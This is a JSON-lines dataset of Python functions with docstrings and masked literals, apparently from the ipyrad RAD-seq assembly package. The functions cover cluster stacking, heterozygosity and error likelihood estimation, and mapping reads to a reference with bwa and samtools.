{"signature": "def clustdealer(pairdealer, optim):", "body": "ccnt = <NUM_LIT:0><EOL>chunk = []<EOL>while ccnt < optim:<EOL><INDENT>try:<EOL><INDENT>taker = itertools.takewhile(lambda x: x[<NUM_LIT:0>] != \"<STR_LIT>\", pairdealer)<EOL>oneclust = [\"<STR_LIT>\".join(taker.next())]<EOL><DEDENT>except StopIteration:<EOL><INDENT>return <NUM_LIT:1>, chunk<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>try:<EOL><INDENT>oneclust.append(\"<STR_LIT>\".join(taker.next()))<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT>chunk.append(\"<STR_LIT>\".join(oneclust))<EOL>ccnt += <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0>, chunk<EOL>", "docstring": "return optim clusters given iterators, and whether it got all or not", "id": "f5312:m13"}
{"signature": "def progressbar(njobs, finished, msg=\"<STR_LIT>\", spacer=\"<STR_LIT:U+0020>\"):", "body": "if njobs:<EOL><INDENT>progress = <NUM_LIT:100>*(finished / float(njobs))<EOL><DEDENT>else:<EOL><INDENT>progress = <NUM_LIT:100><EOL><DEDENT>hashes = '<STR_LIT:#>'*int(progress/<NUM_LIT>)<EOL>nohash = '<STR_LIT:U+0020>'*int(<NUM_LIT:20>-len(hashes))<EOL>if not ipyrad.__interactive__:<EOL><INDENT>msg = msg.rsplit(\"<STR_LIT:|>\", <NUM_LIT:2>)[<NUM_LIT:0>]<EOL><DEDENT>args = [spacer, hashes+nohash, int(progress), msg]<EOL>print(\"<STR_LIT>\".format(*args), end=\"<STR_LIT>\")<EOL>sys.stdout.flush()<EOL>", "docstring": "prints a progress bar", "id": "f5312:m14"}
{"signature": "def get_threaded_view(ipyclient, split=True):", "body": "<EOL>eids = ipyclient.ids<EOL>dview = ipyclient.direct_view()<EOL>hosts = dview.apply_sync(socket.gethostname)<EOL>hostdict = defaultdict(list)<EOL>for host, eid in zip(hosts, eids):<EOL><INDENT>hostdict[host].append(eid)<EOL><DEDENT>hostdictkeys = hostdict.keys()<EOL>for key in hostdictkeys:<EOL><INDENT>gids = hostdict[key]<EOL>maxt = len(gids)<EOL>if len(gids) >= <NUM_LIT:4>:<EOL><INDENT>maxt = <NUM_LIT:2><EOL><DEDENT>if (len(gids) == <NUM_LIT:4>) and (len(hosts) >= <NUM_LIT:4>):<EOL><INDENT>maxt = <NUM_LIT:4><EOL><DEDENT>if len(gids) >= <NUM_LIT:6>:<EOL><INDENT>maxt = <NUM_LIT:3><EOL><DEDENT>if len(gids) >= <NUM_LIT:8>:<EOL><INDENT>maxt = <NUM_LIT:4><EOL><DEDENT>if len(gids) >= <NUM_LIT:16>:<EOL><INDENT>maxt = <NUM_LIT:4><EOL><DEDENT>threaded = [gids[i:i+maxt] for i in xrange(<NUM_LIT:0>, len(gids), maxt)]<EOL>lth = len(threaded)<EOL>if lth > <NUM_LIT:1>:<EOL><INDENT>hostdict.pop(key)<EOL>for hostid in range(lth):<EOL><INDENT>hostdict[str(key)+\"<STR_LIT:_>\"+str(hostid)] = threaded[hostid]<EOL><DEDENT><DEDENT><DEDENT>LOGGER.info(\"<STR_LIT>\", dict(hostdict))<EOL>return hostdict<EOL>", "docstring": "gets optimum threaded view of ids given the host setup", "id": "f5312:m15"}
{"signature": "def detect_cpus():", "body": "<EOL>if hasattr(os, \"<STR_LIT>\"):<EOL><INDENT>if os.sysconf_names.has_key(\"<STR_LIT>\"):<EOL><INDENT>ncpus = os.sysconf(\"<STR_LIT>\")<EOL>if isinstance(ncpus, int) and ncpus > <NUM_LIT:0>:<EOL><INDENT>return ncpus<EOL><DEDENT><DEDENT>else: <EOL><INDENT>return int(os.popen2(\"<STR_LIT>\")[<NUM_LIT:1>].read())<EOL><DEDENT><DEDENT>if os.environ.has_key(\"<STR_LIT>\"):<EOL><INDENT>ncpus = int(os.environ[\"<STR_LIT>\"])<EOL>if ncpus > <NUM_LIT:0>:<EOL><INDENT>return ncpus<EOL><DEDENT><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Detects the number of CPUs on a system. This is better than asking\nipyparallel since ipp has to wait for Engines to spin up.", "id": "f5312:m16"}
{"signature": "def likelihood1(errors, bfreqs, ustacks):", "body": "<EOL>totals = np.array([ustacks.sum(axis=<NUM_LIT:1>)]*<NUM_LIT:4>).T<EOL>prob = scipy.stats.binom.pmf(totals-ustacks, totals, errors)<EOL>lik1 = np.sum(bfreqs*prob, axis=<NUM_LIT:1>)<EOL>return lik1<EOL>", "docstring": "Probability homozygous.", "id": "f5313:m0"}
{"signature": "@numba.jit(nopython=True)<EOL>def nblik2_build(ustacks):", "body": "<EOL>tots = np.empty((ustacks.shape[<NUM_LIT:0>], <NUM_LIT:1>))<EOL>twos = np.empty((ustacks.shape[<NUM_LIT:0>], <NUM_LIT:6>))<EOL>thrs = np.empty((ustacks.shape[<NUM_LIT:0>], <NUM_LIT:6>, <NUM_LIT:2>))<EOL>for idx in xrange(ustacks.shape[<NUM_LIT:0>]):<EOL><INDENT>ust = ustacks[idx]<EOL>tot = ust.sum()<EOL>tots[idx] = tot<EOL>i = <NUM_LIT:0><EOL>for jdx in xrange(<NUM_LIT:4>):<EOL><INDENT>for kdx in xrange(<NUM_LIT:4>):<EOL><INDENT>if jdx < kdx:<EOL><INDENT>twos[idx][i] = tot - ust[jdx] - ust[kdx]<EOL>thrs[idx][i] = ust[jdx], ust[jdx] + ust[kdx]<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return tots, twos, thrs<EOL>", "docstring": "JIT'd function builds large array that can be used to calc binom pmf", "id": "f5313:m1"}
{"signature": "def lik2_calc(err, one, tots, twos, thrs, four):", "body": "<EOL>_twos = scipy.stats.binom.pmf(twos, tots, <NUM_LIT:0.5>)<EOL>_thrs = thrs.reshape(thrs.shape[<NUM_LIT:0>] * thrs.shape[<NUM_LIT:1>], thrs.shape[<NUM_LIT:2>])<EOL>_thrs = scipy.stats.binom.pmf(_thrs[:, <NUM_LIT:0>], _thrs[:, <NUM_LIT:1>], (<NUM_LIT>*err) / <NUM_LIT>)<EOL>_thrs = _thrs.reshape(thrs.shape[<NUM_LIT:0>], <NUM_LIT:6>)<EOL>return np.sum(one * _twos * (_thrs / four), axis=<NUM_LIT:1>)<EOL>", "docstring": "vectorized calc of binom pmf on large arrays", "id": "f5313:m2"}
{"signature": "def nlikelihood2(errors, bfreqs, ustacks):", "body": "one = [<NUM_LIT> * bfreqs[i] * bfreqs[j] for i, j in itertools.combinations(range(<NUM_LIT:4>), <NUM_LIT:2>)]<EOL>four = <NUM_LIT:1.> - np.sum(bfreqs**<NUM_LIT:2>) <EOL>tots, twos, thrs = nblik2_build(ustacks)<EOL>res2 = lik2_calc(errors, one, tots, twos, thrs, four)<EOL>return res2<EOL>", "docstring": "calls nblik2_build and lik2_calc for a given err", "id": "f5313:m3"}
{"signature": "def nget_diploid_lik(pstart, bfreqs, ustacks, counts):", "body": "hetero, errors = pstart<EOL>if (hetero <= <NUM_LIT:0.>) or (errors <= <NUM_LIT:0.>):<EOL><INDENT>score = np.exp(<NUM_LIT:100>)<EOL><DEDENT>else:<EOL><INDENT>lik1 = (<NUM_LIT:1.>-hetero) * likelihood1(errors, bfreqs, ustacks)<EOL>lik2 = (hetero) * nlikelihood2(errors, bfreqs, ustacks)<EOL>liks = lik1 + lik2<EOL>logliks = np.log(liks[liks > <NUM_LIT:0>]) * counts[liks > <NUM_LIT:0>]<EOL>score = -logliks.sum()<EOL><DEDENT>return score<EOL>", "docstring": "Log likelihood score given values [H,E]", "id": "f5313:m4"}
{"signature": "def get_haploid_lik(errors, bfreqs, ustacks, counts):", "body": "hetero = <NUM_LIT:0.><EOL>if errors <= <NUM_LIT:0.>:<EOL><INDENT>score = np.exp(<NUM_LIT:100>)<EOL><DEDENT>else:<EOL><INDENT>lik1 = ((<NUM_LIT:1.>-hetero)*likelihood1(errors, bfreqs, ustacks)) <EOL>liks = lik1<EOL>logliks = np.log(liks[liks > <NUM_LIT:0>])*counts[liks > <NUM_LIT:0>]<EOL>score = -logliks.sum()<EOL><DEDENT>return score<EOL>", "docstring": "Log likelihood score given values [E].", "id": "f5313:m5"}
{"signature": "def recal_hidepth(data, sample):", "body": "<EOL>majrdepth = data.paramsdict[\"<STR_LIT>\"]<EOL>statdepth = data.paramsdict[\"<STR_LIT>\"]    <EOL>maxlen = data._hackersonly[\"<STR_LIT>\"]<EOL>if not hasattr(sample.stats_dfs.s3, \"<STR_LIT>\"):<EOL><INDENT>sample.stats_dfs.s3[\"<STR_LIT>\"] = data.paramsdict[\"<STR_LIT>\"]<EOL><DEDENT>if <NUM_LIT:1>: <EOL><INDENT>LOGGER.info(\"<STR_LIT>\")<EOL>maxlens, depths = get_quick_depths(data, sample)<EOL>hidepths = depths >= majrdepth<EOL>stathidepths = depths >= statdepth<EOL>keepmj = depths[hidepths]<EOL>keepst = depths[stathidepths]<EOL>try:<EOL><INDENT>statlens = maxlens[stathidepths]<EOL>statlen = int(statlens.mean() + (<NUM_LIT>*statlens.std()))<EOL><DEDENT>except:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\")<EOL><DEDENT>LOGGER.info(\"<STR_LIT>\", maxlens.shape, maxlens.mean(), maxlens.std())<EOL>maxlens = maxlens[hidepths]<EOL>maxlen = int(maxlens.mean() + (<NUM_LIT>*maxlens.std()))<EOL>sample.stats[\"<STR_LIT>\"] = keepmj.shape[<NUM_LIT:0>]<EOL>sample.stats_dfs.s3[\"<STR_LIT>\"] = keepmj.shape[<NUM_LIT:0>]        <EOL><DEDENT>return sample, keepmj.shape[<NUM_LIT:0>], maxlen, keepst.shape[<NUM_LIT:0>], statlen<EOL>", "docstring": "if mindepth setting were changed then 'clusters_hidepth' needs to be \nrecalculated. Check and recalculate if necessary.", "id": "f5313:m6"}
{"signature": "def stackarray(data, sample):", "body": "<EOL>sample, _, _, nhidepth, maxlen = recal_hidepth(data, sample)<EOL>clusters = gzip.open(sample.files.clusters)<EOL>pairdealer = itertools.izip(*[iter(clusters)]*<NUM_LIT:2>)<EOL>dims = (nhidepth, maxlen, <NUM_LIT:4>)<EOL>stacked = np.zeros(dims, dtype=np.uint64)<EOL>cutlens = [None, None]<EOL>try:<EOL><INDENT>cutlens[<NUM_LIT:0>] = len(data.paramsdict[\"<STR_LIT>\"][<NUM_LIT:0>])<EOL>cutlens[<NUM_LIT:1>] = maxlen - len(data.paramsdict[\"<STR_LIT>\"][<NUM_LIT:1>])<EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>nclust = <NUM_LIT:0><EOL>done = <NUM_LIT:0><EOL>while not done:<EOL><INDENT>try:<EOL><INDENT>done, chunk = clustdealer(pairdealer, <NUM_LIT:1>)<EOL><DEDENT>except IndexError:<EOL><INDENT>raise IPyradError(\"<STR_LIT>\", chunk)<EOL><DEDENT>if chunk:<EOL><INDENT>piece = chunk[<NUM_LIT:0>].strip().split(\"<STR_LIT:\\n>\")<EOL>names = piece[<NUM_LIT:0>::<NUM_LIT:2>]<EOL>seqs = piece[<NUM_LIT:1>::<NUM_LIT:2>]<EOL>reps = [int(sname.split(\"<STR_LIT:;>\")[-<NUM_LIT:2>][<NUM_LIT:5>:]) for sname in names]<EOL>sseqs = [list(seq) for seq in seqs]<EOL>arrayed = np.concatenate(<EOL>[[seq]*rep for seq, rep in zip(sseqs, reps)])<EOL>if arrayed.shape[<NUM_LIT:0>] >= data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>arrayed = arrayed[:<NUM_LIT>, cutlens[<NUM_LIT:0>]:cutlens[<NUM_LIT:1>]]<EOL>arrayed = arrayed[:, ~np.any(arrayed == \"<STR_LIT:n>\", axis=<NUM_LIT:0>)]<EOL>arrayed[arrayed == \"<STR_LIT:->\"] = \"<STR_LIT:N>\"<EOL>arrayed = arrayed[:, ~np.all(arrayed == \"<STR_LIT:N>\", axis=<NUM_LIT:0>)]<EOL>catg = np.array([np.sum(arrayed == i, axis=<NUM_LIT:0>) for i in list(\"<STR_LIT>\")], <EOL>dtype=np.uint64).T<EOL>stacked[nclust, :catg.shape[<NUM_LIT:0>], :] = catg<EOL>nclust += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>newstack = stacked[stacked.sum(axis=<NUM_LIT:2>) > <NUM_LIT:0>]<EOL>assert not np.any(newstack.sum(axis=<NUM_LIT:1>) == <NUM_LIT:0>), \"<STR_LIT>\"<EOL>clusters.close()<EOL>return newstack<EOL>", "docstring": "Stacks clusters into arrays", "id": "f5313:m7"}
{"signature": "def optim(data, sample):", "body": "hetero = <NUM_LIT><EOL>errors = <NUM_LIT><EOL>success = False<EOL>try:<EOL><INDENT>stacked = stackarray(data, sample)<EOL>bfreqs = stacked.sum(axis=<NUM_LIT:0>) / float(stacked.sum())<EOL>if np.isnan(bfreqs).any():<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\".format(sample.name, bfreqs))<EOL><DEDENT>tstack = Counter([j.tostring() for j in stacked])<EOL>ustacks = np.array([np.fromstring(i, dtype=np.uint64)for i in tstack.iterkeys()])<EOL>counts = np.array(tstack.values())<EOL>del tstack<EOL>if int(data.paramsdict[\"<STR_LIT>\"]) == <NUM_LIT:1>:<EOL><INDENT>pstart = np.array([<NUM_LIT>], dtype=np.float64)<EOL>hetero = <NUM_LIT:0.><EOL>errors = scipy.optimize.fmin(get_haploid_lik, pstart,<EOL>(bfreqs, ustacks, counts),<EOL>maxfun=<NUM_LIT:50>,<EOL>maxiter=<NUM_LIT:50>,<EOL>disp=False,<EOL>full_output=False)<EOL><DEDENT>else:<EOL><INDENT>pstart = np.array([<NUM_LIT>, <NUM_LIT>], dtype=np.float64)<EOL>hetero, errors = scipy.optimize.fmin(nget_diploid_lik, pstart,<EOL>(bfreqs, ustacks, counts),<EOL>maxfun=<NUM_LIT:50>,<EOL>maxiter=<NUM_LIT:50>,<EOL>disp=False,<EOL>full_output=False)<EOL><DEDENT>success = True<EOL><DEDENT>except IPyradError as inst:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\".format(sample.name))<EOL>pass<EOL><DEDENT>return hetero, errors, success<EOL>", "docstring": "func scipy optimize to find best parameters", "id": "f5313:m8"}
{"signature": "def run(data, samples, force, ipyclient):", "body": "<EOL>if data.paramsdict[\"<STR_LIT>\"] == <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\".format(data._spacer))<EOL><DEDENT>subsamples = []<EOL>for sample in samples:<EOL><INDENT>if not force:<EOL><INDENT>if sample.stats.state >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\".format(sample.name)+\"<STR_LIT>\")<EOL><DEDENT>elif sample.stats.state < <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\".format(sample.name)+\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>subsamples.append(sample)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if sample.stats.state < <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT:U+0020>\"+sample.name+\"<STR_LIT>\")<EOL><DEDENT>elif sample.stats.clusters_hidepth < <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\".format(sample.name, sample.stats.clusters_hidepth))<EOL><DEDENT>else:<EOL><INDENT>subsamples.append(sample)<EOL><DEDENT><DEDENT><DEDENT>if subsamples:<EOL><INDENT>submit(data, subsamples, ipyclient)<EOL><DEDENT>", "docstring": "calls the main functions", "id": "f5313:m9"}
{"signature": "def submit(data, subsamples, ipyclient):", "body": "<EOL>subsamples.sort(key=lambda x: x.stats.clusters_hidepth, reverse=True)<EOL>lbview = ipyclient.load_balanced_view()<EOL>jobs = {}<EOL>for sample in subsamples:<EOL><INDENT>jobs[sample.name] = lbview.apply(optim, *(data, sample))<EOL><DEDENT>start = time.time() <EOL>printstr = \"<STR_LIT>\"<EOL>try:<EOL><INDENT>kbd = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>fin = [i.ready() for i in jobs.values()]<EOL>elapsed = datetime.timedelta(seconds=int(time.time() - start))<EOL>progressbar(len(fin), sum(fin), printstr.format(elapsed), spacer=data._spacer)<EOL>time.sleep(<NUM_LIT:0.1>)<EOL>if len(fin) == sum(fin):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>for job in jobs:<EOL><INDENT>if jobs[job].successful():<EOL><INDENT>hest, eest, success = jobs[job].result()<EOL>sample_cleanup(data.samples[job], hest, eest, success)<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\", <EOL>job, jobs[job].exception())<EOL>raise IPyradWarningExit(jobs[job].result())<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt as kbd:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>assembly_cleanup(data)<EOL>if kbd:<EOL><INDENT>raise KeyboardInterrupt<EOL><DEDENT><DEDENT>", "docstring": "Sends jobs to engines and cleans up failures. Print progress.", "id": "f5313:m10"}
{"signature": "def sample_cleanup(sample, hest, eest, success):", "body": "<EOL>sample.stats.state = <NUM_LIT:4><EOL>sample.stats.hetero_est = float(hest)<EOL>sample.stats.error_est = float(eest)<EOL>sample.stats_dfs.s4.hetero_est = float(hest)<EOL>sample.stats_dfs.s4.error_est = float(eest)<EOL>if not success:<EOL><INDENT>msg = \"\"\"<STR_LIT>\"\"\".format(sample.name)<EOL>print(msg)<EOL><DEDENT>", "docstring": "Stores results to the Assembly object, writes to stats file, \nand cleans up temp files", "id": "f5313:m11"}
{"signature": "def assembly_cleanup(data):", "body": "<EOL>data.stats_dfs.s4 = data._build_stat(\"<STR_LIT>\")<EOL>data.stats_files.s4 = os.path.join(data.dirs.clusts, <EOL>\"<STR_LIT>\")<EOL>with io.open(data.stats_files.s4, '<STR_LIT:w>') as outfile:<EOL><INDENT>data.stats_dfs.s4.to_string(outfile)<EOL><DEDENT>fails = data.stats[data.stats[\"<STR_LIT:state>\"] == <NUM_LIT:3>].index.values<EOL>if fails:<EOL><INDENT>msg = \"\"\"<STR_LIT>\"\"\".format(fails)<EOL>print(msg)<EOL><DEDENT>", "docstring": "cleanup assembly stats", "id": "f5313:m12"}
{"signature": "def sample_cleanup(data, sample):", "body": "umap1file = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>umap2file = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>unmapped = os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")<EOL>samplesam = os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")<EOL>split1 = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>split2 = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>refmap_derep = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>for f in [umap1file, umap2file, unmapped, samplesam, split1, split2, refmap_derep]:<EOL><INDENT>try:<EOL><INDENT>os.remove(f)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Clean up a bunch of loose files.", "id": "f5314:m0"}
{"signature": "def index_reference_sequence(data, force=False):", "body": "<EOL>refseq_file = data.paramsdict['<STR_LIT>']<EOL>index_files = []<EOL>if \"<STR_LIT>\" in data._hackersonly[\"<STR_LIT>\"]:<EOL><INDENT>index_files.extend([\"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>index_files.extend([\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL><DEDENT>index_files.extend([\"<STR_LIT>\"])<EOL>if not force:<EOL><INDENT>if all([os.path.isfile(refseq_file+i) for i in index_files]):<EOL><INDENT>return<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in data._hackersonly[\"<STR_LIT>\"]:<EOL><INDENT>cmd1 = [ipyrad.bins.smalt, \"<STR_LIT:index>\", <EOL>\"<STR_LIT>\", str(data._hackersonly[\"<STR_LIT>\"]), <EOL>refseq_file, <EOL>refseq_file]<EOL><DEDENT>else:<EOL><INDENT>cmd1 = [ipyrad.bins.bwa, \"<STR_LIT:index>\", refseq_file]<EOL><DEDENT>LOGGER.info(\"<STR_LIT:U+0020>\".join(cmd1))<EOL>proc1 = sps.Popen(cmd1, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>error1 = proc1.communicate()[<NUM_LIT:0>]<EOL>cmd2 = [ipyrad.bins.samtools, \"<STR_LIT>\", refseq_file]<EOL>LOGGER.info(\"<STR_LIT:U+0020>\".join(cmd2))<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>error2 = proc2.communicate()[<NUM_LIT:0>]<EOL>if proc1.returncode:<EOL><INDENT>raise IPyradWarningExit(error1)<EOL><DEDENT>if error2:<EOL><INDENT>if \"<STR_LIT>\" in error2:<EOL><INDENT>raise IPyradWarningExit(NO_ZIP_BINS.format(refseq_file))<EOL><DEDENT>else:<EOL><INDENT>raise IPyradWarningExit(error2)<EOL><DEDENT><DEDENT>", "docstring": "Index the reference sequence, unless it already exists. Also make a mapping\nof scaffolds to index numbers for later user in steps 5-6.", "id": "f5314:m1"}
{"signature": "def mapreads(data, sample, nthreads, force):", "body": "LOGGER.info(\"<STR_LIT>\", sample.name, nthreads)<EOL>derepfile = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>sample.files.dereps = [derepfile]<EOL>mumapfile = sample.files.unmapped_reads<EOL>umap1file = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>umap2file = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")        <EOL>if \"<STR_LIT>\" in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>sample.files.split1 = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>sample.files.split2 = os.path.join(data.dirs.edits, sample.name+\"<STR_LIT>\")<EOL>sample.files.dereps = [sample.files.split1, sample.files.split2]<EOL>split_merged_reads(sample.files.dereps, derepfile)<EOL><DEDENT>if \"<STR_LIT>\" in data._hackersonly[\"<STR_LIT>\"]:<EOL><INDENT>cmd1 = [ipyrad.bins.smalt, \"<STR_LIT>\", <EOL>\"<STR_LIT>\", \"<STR_LIT>\", <EOL>\"<STR_LIT>\", str(max(<NUM_LIT:1>, nthreads)),<EOL>\"<STR_LIT>\", str(data.paramsdict['<STR_LIT>']), <EOL>\"<STR_LIT>\", os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\"),<EOL>\"<STR_LIT>\",<EOL>data.paramsdict['<STR_LIT>']<EOL>] + sample.files.dereps<EOL>cmd1_stdout = sps.PIPE<EOL>cmd1_stderr = sps.STDOUT<EOL><DEDENT>else:<EOL><INDENT>cmd1 = [ipyrad.bins.bwa, \"<STR_LIT>\",<EOL>\"<STR_LIT>\", str(max(<NUM_LIT:1>, nthreads)),<EOL>\"<STR_LIT>\",<EOL>data.paramsdict['<STR_LIT>']<EOL>] + sample.files.dereps<EOL>try:<EOL><INDENT>bwa_args = data._hackersonly[\"<STR_LIT>\"].split()<EOL>bwa_args.reverse()<EOL>for arg in bwa_args:<EOL><INDENT>cmd1.insert(<NUM_LIT:2>, arg)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>cmd1_stdout = open(os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\"), '<STR_LIT:w>')<EOL>cmd1_stderr = None<EOL><DEDENT>cmd2 = [ipyrad.bins.samtools, \"<STR_LIT>\", <EOL>\"<STR_LIT>\", <EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\"), <EOL>os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")]<EOL>cmd3 = [ipyrad.bins.samtools, \"<STR_LIT>\", <EOL>\"<STR_LIT>\", os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\"),<EOL>\"<STR_LIT>\", \"<STR_LIT>\", <EOL>\"<STR_LIT>\", sample.files.mapped_reads]<EOL>cmd4 = [ipyrad.bins.samtools, \"<STR_LIT:index>\", sample.files.mapped_reads]<EOL>cmd5 = [ipyrad.bins.samtools, \"<STR_LIT>\", \"<STR_LIT>\",<EOL>os.path.join(data.dirs.refmapping, sample.name+\"<STR_LIT>\")]<EOL>if '<STR_LIT>' in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>if \"<STR_LIT>\" in data._hackersonly[\"<STR_LIT>\"]:<EOL><INDENT>cmd1.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>cmd1.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cmd2.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>cmd2.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>cmd5.insert(<NUM_LIT:2>, umap1file)<EOL>cmd5.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL>cmd5.insert(<NUM_LIT:2>, umap2file)<EOL>cmd5.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>cmd5.insert(<NUM_LIT:2>, mumapfile)<EOL>cmd5.insert(<NUM_LIT:2>, \"<STR_LIT>\")<EOL><DEDENT>LOGGER.debug(\"<STR_LIT:U+0020>\".join(cmd1))<EOL>proc1 = sps.Popen(cmd1, stderr=cmd1_stderr, stdout=cmd1_stdout)<EOL>try:<EOL><INDENT>error1 = proc1.communicate()[<NUM_LIT:0>]<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>proc1.kill()<EOL><DEDENT>if proc1.returncode:<EOL><INDENT>raise IPyradWarningExit(error1)<EOL><DEDENT>LOGGER.debug(\"<STR_LIT:U+0020>\".join(cmd2))<EOL>proc2 = sps.Popen(cmd2, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>LOGGER.debug(\"<STR_LIT:U+0020>\".join(cmd3))<EOL>proc3 = sps.Popen(cmd3, stderr=sps.STDOUT, stdout=sps.PIPE, stdin=proc2.stdout)<EOL>error3 = proc3.communicate()[<NUM_LIT:0>]<EOL>if proc3.returncode:<EOL><INDENT>raise IPyradWarningExit(error3)<EOL><DEDENT>proc2.stdout.close()<EOL>LOGGER.debug(\"<STR_LIT:U+0020>\".join(cmd4))<EOL>proc4 = sps.Popen(cmd4, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>error4 = proc4.communicate()[<NUM_LIT:0>]<EOL>if proc4.returncode:<EOL><INDENT>raise IPyradWarningExit(error4)<EOL><DEDENT>LOGGER.debug(\"<STR_LIT:U+0020>\".join(cmd5))<EOL>proc5 = sps.Popen(cmd5, stderr=sps.STDOUT, stdout=sps.PIPE)<EOL>error5 = proc5.communicate()[<NUM_LIT:0>]<EOL>if proc5.returncode:<EOL><INDENT>raise IPyradWarningExit(error5)<EOL><DEDENT>if '<STR_LIT>' in data.paramsdict[\"<STR_LIT>\"]:<EOL><INDENT>LOGGER.info(\"<STR_LIT>\".format(umap1file, umap2file))<EOL>merge_pairs_after_refmapping(data, [(umap1file, umap2file)], mumapfile)<EOL><DEDENT>", "docstring": "Attempt to map reads to reference sequence. This reads in the fasta files\n(samples.files.edits), and maps each read to the reference. Unmapped reads \nare dropped right back in the de novo pipeline. Reads that map successfully\nare processed and pushed downstream and joined with the rest of the data \npost muscle_align. \n\nMapped reads end up in a sam file.", "id": "f5314:m2"}
{"signature": "def fetch_cluster_se(data, samfile, chrom, rstart, rend):", "body": "<EOL>overlap_buffer = data._hackersonly[\"<STR_LIT>\"]<EOL>rstart_buff = rstart + overlap_buffer<EOL>rend_buff = rend - overlap_buffer<EOL>if rstart_buff > rend_buff:<EOL><INDENT>tmp = rstart_buff<EOL>rstart_buff = rend_buff<EOL>rend_buff = tmp<EOL><DEDENT>if rstart_buff == rend_buff:<EOL><INDENT>rend_buff += <NUM_LIT:1><EOL><DEDENT>rdict = {}<EOL>clust = []<EOL>iterreg = []<EOL>iterreg = samfile.fetch(chrom, rstart_buff, rend_buff)<EOL>for read in iterreg:<EOL><INDENT>if read.qname not in rdict:<EOL><INDENT>rdict[read.qname] = read<EOL><DEDENT><DEDENT>sfunc = lambda x: int(x.split(\"<STR_LIT>\")[<NUM_LIT:1>].split(\"<STR_LIT:;>\")[<NUM_LIT:0>])<EOL>rkeys = sorted(rdict.keys(), key=sfunc, reverse=True)<EOL>try:<EOL><INDENT>read1 = rdict[rkeys[<NUM_LIT:0>]]<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\".format(rkeys[<NUM_LIT:0>], rdict))<EOL>return \"<STR_LIT>\"<EOL><DEDENT>poss = read1.get_reference_positions(full_length=True)<EOL>seed_r1start = min(poss)<EOL>seed_r1end = max(poss)<EOL>if read1.is_reverse:<EOL><INDENT>seq = revcomp(read1.seq)<EOL><DEDENT>else:<EOL><INDENT>seq = read1.seq<EOL><DEDENT>size = sfunc(rkeys[<NUM_LIT:0>])<EOL>clust.append(\"<STR_LIT>\".format(chrom, seed_r1start, seed_r1end, size, seq))<EOL>if len(rkeys) > <NUM_LIT:1>:<EOL><INDENT>for key in rkeys[<NUM_LIT:1>:]:<EOL><INDENT>skip = False<EOL>try:<EOL><INDENT>read1 = rdict[key]<EOL><DEDENT>except ValueError:<EOL><INDENT>read1 = rdict[key][<NUM_LIT:0>]<EOL>skip = True<EOL><DEDENT>if not skip:<EOL><INDENT>poss = 